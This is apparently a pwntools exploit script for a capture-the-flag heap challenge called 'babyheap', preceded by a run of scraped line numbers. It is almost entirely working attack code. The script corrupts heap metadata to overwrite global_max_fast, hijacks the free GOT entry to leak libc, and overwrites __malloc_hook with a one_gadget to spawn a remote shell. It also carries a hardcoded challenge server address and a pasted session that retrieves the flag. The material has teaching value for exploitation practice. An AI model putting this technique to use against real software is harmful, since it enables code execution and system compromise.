1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143
| from pwn import * import sys
context.terminal=["tmux", "sp", "-h"] context.log_level='debug'
DEBUG = 0
LOCAL = True BIN = './babyheap' HOST = '51.158.118.84' PORT = 17001 ''' p &global_max_fast 0x7f5da6ce 5 b78 0x7f5da6ce 7 7f8
0x7f5a2962 3 b78 0x7f5a2962 5 7f8
0x7f2903ad e b78 0x7f2903ae 0 7f8 1/16 to overwrite fd/bk to global_max_fast '''
def menu(choice): p.sendlineafter('>>', str(choice))
def add(index, size, data): menu(1) p.sendlineafter('Enter the index:', str(index)) p.sendlineafter('Enter the size:', str(size)) p.sendafter('Enter data:', data)
def edit(index, data): menu(2) p.sendlineafter('Enter the index:', str(index)) p.sendafter('Please update the data:', data)
def delete(index): menu(3) p.sendlineafter('Enter the index:', str(index))
''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
'''
def exploit(p):
add(0, 0x30, 'a'*8) add(1, 0x68, 'b'*8) add(6, 0x68, '1'*8) add(7, 0x100, '2'*8) add(8, 0x100, '3'*8) delete(7) delete(0)
edit(0, '\x00'*8+p16(0x37f8-0x10)) try: add(2, 0x30, 'c'*8) delete(1) edit(1, p64(0x6020bd)) add(3, 0x68, 'd'*8) pl = 0x53*'a'+p64(elf.got['free']) add(4, 0x68, pl) except: log.info('err') p.close()
delete(6) edit(0, p64(elf.plt['puts'])) delete(7) p.recvuntil('\n') leak = u64(p.recv(6).ljust(8, '\x00')) log.info('leak: '+hex(leak)) libc_base = leak-0x7ffff7dd1c78+0x7ffff7a0d000 log.info('libc: '+hex(libc_base)) libc = ELF('./libc.so.6') malloc_hook = libc_base+libc.sym['__malloc_hook'] log.info('malloc_hook: '+hex(malloc_hook)) edit(0, p64(elf.plt['free']))
edit(6, p64(malloc_hook-0x23)) add(9, 0x68, 'cccc') one = 0xf02a4 add(10, 0x68, 0x13*'a'+p64(libc_base+one))
menu(1) p.sendlineafter('Enter the index:', str(11)) p.sendlineafter('Enter the size:', str(111)) p.interactive()
return ''' Dockerfile babyheap babyheap.c beast.toml flag.txt post-build.sh public setup.sh $ cat flag* [DEBUG] Sent 0xa bytes: 'cat flag*\n' [DEBUG] Received 0x1e bytes: 'CTF{n0_l34k_func710n_1n_2019}\n' CTF{n0_l34k_func710n_1n_2019} $ '''
if __name__ == "__main__": elf = ELF(BIN) if len(sys.argv) > 1: LOCAL = False p = remote(HOST, PORT) exploit(p) else: LOCAL = True p = process(BIN) log.info('PID: ' + str(proc.pidof(p)[0])) if DEBUG: gdb.attach(p) exploit(p)
|